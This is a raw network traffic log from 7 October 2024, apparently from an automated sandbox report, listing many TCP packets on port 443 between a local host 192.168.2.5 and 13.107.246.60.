Oct 7, 2024 17:22:56.356543064 CEST	49941	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:56.356549025 CEST	443	49941	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:56.455317020 CEST	443	49941	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:56.455364943 CEST	443	49941	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:56.455445051 CEST	49941	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:56.455759048 CEST	49941	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:56.455785990 CEST	443	49941	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:56.455801964 CEST	49941	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:56.455810070 CEST	443	49941	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:56.458686113 CEST	49946	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:56.458739042 CEST	443	49946	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:56.458801985 CEST	49946	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:56.458946943 CEST	49946	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:56.458966970 CEST	443	49946	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:56.547760010 CEST	443	49942	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:56.548243046 CEST	49942	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:56.548274994 CEST	443	49942	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:56.548779964 CEST	49942	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:56.548787117 CEST	443	49942	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:56.571865082 CEST	443	49943	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:56.572324038 CEST	49943	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:56.572349072 CEST	443	49943	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:56.572707891 CEST	49943	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:56.572712898 CEST	443	49943	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:56.643723965 CEST	443	49942	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:56.643857002 CEST	443	49942	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:56.643901110 CEST	443	49942	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:56.644026041 CEST	49942	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:56.644026041 CEST	49942	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:56.644026041 CEST	49942	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:56.644026041 CEST	49942	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:56.646209002 CEST	49947	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:56.646246910 CEST	443	49947	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:56.646315098 CEST	49947	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:56.655175924 CEST	49947	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:56.655186892 CEST	443	49947	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:56.673018932 CEST	443	49943	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:56.673088074 CEST	443	49943	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:56.673150063 CEST	49943	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:56.673320055 CEST	49943	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:56.673343897 CEST	443	49943	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:56.673355103 CEST	49943	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:56.673360109 CEST	443	49943	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:56.675955057 CEST	49948	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:56.675982952 CEST	443	49948	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:56.676054001 CEST	49948	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:56.676186085 CEST	49948	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:56.676197052 CEST	443	49948	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:56.804245949 CEST	443	49944	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:56.804979086 CEST	49944	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:56.805042982 CEST	443	49944	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:56.805437088 CEST	49944	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:56.805450916 CEST	443	49944	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:56.845709085 CEST	443	49945	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:56.846163034 CEST	49945	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:56.846214056 CEST	443	49945	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:56.846606970 CEST	49945	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:56.846615076 CEST	443	49945	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:56.902563095 CEST	443	49944	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:56.902772903 CEST	443	49944	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:56.902870893 CEST	49944	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:56.902934074 CEST	49944	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:56.902934074 CEST	49944	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:56.902964115 CEST	443	49944	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:56.902987003 CEST	443	49944	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:56.905577898 CEST	49949	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:56.905627012 CEST	443	49949	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:56.905702114 CEST	49949	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:56.905814886 CEST	49949	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:56.905827999 CEST	443	49949	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:56.941072941 CEST	443	49945	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:56.941338062 CEST	443	49945	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:56.941416025 CEST	49945	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:56.941495895 CEST	49945	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:56.941529036 CEST	443	49945	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:56.941550016 CEST	49945	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:56.941556931 CEST	443	49945	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:56.944099903 CEST	49950	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:56.944124937 CEST	443	49950	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:56.944205999 CEST	49950	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:56.944355965 CEST	49950	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:56.944370985 CEST	443	49950	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:56.952117920 CEST	49942	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:56.952145100 CEST	443	49942	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:57.070444107 CEST	443	49946	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:57.070940018 CEST	49946	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:57.070964098 CEST	443	49946	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:57.071424007 CEST	49946	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:57.071435928 CEST	443	49946	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:57.166141987 CEST	443	49946	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:57.166438103 CEST	443	49946	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:57.166487932 CEST	443	49946	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:57.166507006 CEST	49946	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:57.166547060 CEST	49946	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:57.166733980 CEST	49946	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:57.166758060 CEST	443	49946	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:57.166769028 CEST	49946	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:57.166774988 CEST	443	49946	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:57.169718981 CEST	49951	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:57.169749975 CEST	443	49951	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:57.169843912 CEST	49951	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:57.170017958 CEST	49951	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:57.170030117 CEST	443	49951	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:57.288197994 CEST	443	49948	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:57.288755894 CEST	49948	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:57.288769007 CEST	443	49948	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:57.289203882 CEST	49948	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:57.289207935 CEST	443	49948	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:57.290869951 CEST	443	49947	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:57.291212082 CEST	49947	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:57.291255951 CEST	443	49947	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:57.291625023 CEST	49947	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:57.291640043 CEST	443	49947	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:57.385399103 CEST	443	49948	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:57.385467052 CEST	443	49948	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:57.385548115 CEST	49948	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:57.385790110 CEST	49948	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:57.385802031 CEST	443	49948	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:57.385812998 CEST	49948	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:57.385818005 CEST	443	49948	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:57.388171911 CEST	443	49947	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:57.388341904 CEST	443	49947	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:57.388398886 CEST	49947	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:57.388427019 CEST	49947	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:57.388443947 CEST	443	49947	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:57.388453960 CEST	49947	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:57.388458967 CEST	443	49947	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:57.388777971 CEST	49952	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:57.388799906 CEST	443	49952	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:57.388880968 CEST	49952	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:57.389007092 CEST	49952	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:57.389017105 CEST	443	49952	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:57.390626907 CEST	49953	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:57.390661001 CEST	443	49953	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:57.390724897 CEST	49953	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:57.390836000 CEST	49953	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:57.390846014 CEST	443	49953	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:57.551527023 CEST	443	49949	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:57.552113056 CEST	49949	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:57.552154064 CEST	443	49949	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:57.552577019 CEST	49949	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:57.552582026 CEST	443	49949	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:57.561177969 CEST	443	49950	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:57.561583042 CEST	49950	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:57.561592102 CEST	443	49950	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:57.562109947 CEST	49950	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:57.562114954 CEST	443	49950	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:57.649193048 CEST	443	49949	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:57.649266005 CEST	443	49949	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:57.649319887 CEST	49949	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:57.649462938 CEST	49949	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:57.649493933 CEST	443	49949	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:57.649504900 CEST	49949	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:57.649509907 CEST	443	49949	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:57.652363062 CEST	49954	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:57.652390003 CEST	443	49954	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:57.652461052 CEST	49954	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:57.652590990 CEST	49954	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:57.652605057 CEST	443	49954	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:57.654726028 CEST	443	49950	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:57.655021906 CEST	443	49950	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:57.655073881 CEST	49950	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:57.655245066 CEST	49950	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:57.655249119 CEST	443	49950	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:57.655257940 CEST	49950	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:57.655261040 CEST	443	49950	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:57.657538891 CEST	49955	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:57.657577991 CEST	443	49955	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:57.657702923 CEST	49955	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:57.657838106 CEST	49955	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:57.657851934 CEST	443	49955	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:57.808772087 CEST	443	49951	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:57.809495926 CEST	49951	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:57.809518099 CEST	443	49951	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:57.809937000 CEST	49951	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:57.809942007 CEST	443	49951	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:57.909957886 CEST	443	49951	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:57.910126925 CEST	443	49951	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:57.910310030 CEST	49951	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:57.910383940 CEST	49951	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:57.910383940 CEST	49951	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:57.910417080 CEST	443	49951	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:57.910440922 CEST	443	49951	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:57.913319111 CEST	49956	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:57.913384914 CEST	443	49956	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:57.913500071 CEST	49956	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:57.913666010 CEST	49956	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:57.913687944 CEST	443	49956	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:58.011029959 CEST	443	49952	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:58.011740923 CEST	49952	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:58.011760950 CEST	443	49952	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:58.012212038 CEST	49952	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:58.012217999 CEST	443	49952	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:58.018641949 CEST	443	49953	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:58.019181967 CEST	49953	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:58.019201040 CEST	443	49953	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:58.019577026 CEST	49953	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:58.019582033 CEST	443	49953	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:58.106116056 CEST	443	49952	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:58.106180906 CEST	443	49952	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:58.106369972 CEST	49952	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:58.106703043 CEST	49952	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:58.106753111 CEST	443	49952	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:58.106786966 CEST	49952	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:58.106820107 CEST	443	49952	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:58.110379934 CEST	49957	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:58.110439062 CEST	443	49957	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:58.110512972 CEST	49957	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:58.110658884 CEST	49957	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:58.110676050 CEST	443	49957	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:58.122406960 CEST	443	49953	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:58.122662067 CEST	443	49953	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:58.122786999 CEST	49953	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:58.122867107 CEST	49953	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:58.122880936 CEST	443	49953	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:58.122898102 CEST	49953	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:58.122903109 CEST	443	49953	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:58.125715971 CEST	49958	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:58.125730038 CEST	443	49958	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:58.125798941 CEST	49958	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:58.125937939 CEST	49958	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:58.125952959 CEST	443	49958	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:58.264796019 CEST	443	49955	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:58.268259048 CEST	49955	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:58.268328905 CEST	443	49955	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:58.268806934 CEST	49955	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:58.268820047 CEST	443	49955	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:58.276755095 CEST	443	49954	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:58.277160883 CEST	49954	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:58.277184010 CEST	443	49954	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:58.277626038 CEST	49954	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:58.277628899 CEST	443	49954	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:58.361692905 CEST	443	49955	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:58.361857891 CEST	443	49955	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:58.361913919 CEST	49955	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:58.361968040 CEST	49955	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:58.361980915 CEST	443	49955	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:58.362015009 CEST	49955	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:58.362020016 CEST	443	49955	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:58.364701033 CEST	49959	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:58.364732981 CEST	443	49959	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:58.364803076 CEST	49959	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:58.364943981 CEST	49959	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:58.364954948 CEST	443	49959	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:58.374624968 CEST	443	49954	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:58.374661922 CEST	443	49954	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:58.374715090 CEST	443	49954	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:58.374737978 CEST	49954	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:58.374769926 CEST	49954	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:58.374970913 CEST	49954	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:58.374990940 CEST	443	49954	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:58.375003099 CEST	49954	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:58.375008106 CEST	443	49954	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:58.378067017 CEST	49960	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:58.378109932 CEST	443	49960	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:58.378221035 CEST	49960	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:58.378384113 CEST	49960	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:58.378398895 CEST	443	49960	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:58.527054071 CEST	443	49956	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:58.527937889 CEST	49956	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:58.527952909 CEST	443	49956	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:58.528558969 CEST	49956	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:58.528563023 CEST	443	49956	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:58.623281002 CEST	443	49956	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:58.623312950 CEST	443	49956	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:58.623358011 CEST	443	49956	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:58.623424053 CEST	49956	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:58.623445988 CEST	49956	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:58.623692989 CEST	49956	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:58.623707056 CEST	443	49956	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:58.623720884 CEST	49956	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:58.623725891 CEST	443	49956	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:58.627455950 CEST	49961	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:58.627537012 CEST	443	49961	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:58.627671957 CEST	49961	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:58.627827883 CEST	49961	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:58.627860069 CEST	443	49961	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:58.756927967 CEST	443	49958	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:58.758637905 CEST	49958	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:58.758661032 CEST	443	49958	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:58.759249926 CEST	49958	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:58.759253979 CEST	443	49958	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:58.759973049 CEST	443	49957	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:58.762531042 CEST	49957	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:58.762540102 CEST	443	49957	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:58.762989044 CEST	49957	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:58.762993097 CEST	443	49957	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:58.854214907 CEST	443	49958	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:58.854352951 CEST	443	49958	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:58.854393959 CEST	443	49958	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:58.854501963 CEST	49958	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:58.854697943 CEST	49958	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:58.854697943 CEST	49958	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:58.857446909 CEST	49958	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:58.857465029 CEST	443	49958	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:58.857469082 CEST	49962	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:58.857572079 CEST	443	49962	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:58.857678890 CEST	49962	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:58.857853889 CEST	49962	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:58.857889891 CEST	443	49962	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:58.859174967 CEST	443	49957	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:58.859488964 CEST	443	49957	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:58.859555960 CEST	49957	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:58.859702110 CEST	49957	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:58.859707117 CEST	443	49957	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:58.859716892 CEST	49957	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:58.859720945 CEST	443	49957	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:58.861875057 CEST	49963	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:58.861920118 CEST	443	49963	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:58.861984015 CEST	49963	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:58.862113953 CEST	49963	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:58.862132072 CEST	443	49963	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:59.025954962 CEST	443	49959	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:59.026478052 CEST	49959	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:59.026492119 CEST	443	49959	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:59.026952028 CEST	49959	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:59.026956081 CEST	443	49959	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:59.035665035 CEST	443	49960	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:59.036712885 CEST	49960	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:59.036736012 CEST	443	49960	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:59.037275076 CEST	49960	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:59.037281036 CEST	443	49960	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:59.126075029 CEST	443	49959	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:59.126176119 CEST	443	49959	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:59.126493931 CEST	49959	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:59.126519918 CEST	49959	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:59.126533985 CEST	443	49959	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:59.126543999 CEST	49959	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:59.126549006 CEST	443	49959	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:59.129626989 CEST	49964	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:59.129678011 CEST	443	49964	13.107.246.60	192.168.2.5
Oct 7, 2024 17:22:59.129766941 CEST	49964	443	192.168.2.5	13.107.246.60
Oct 7, 2024 17:22:59.129925013 CEST	49964	443	192.168.2.5	13.107.246.60
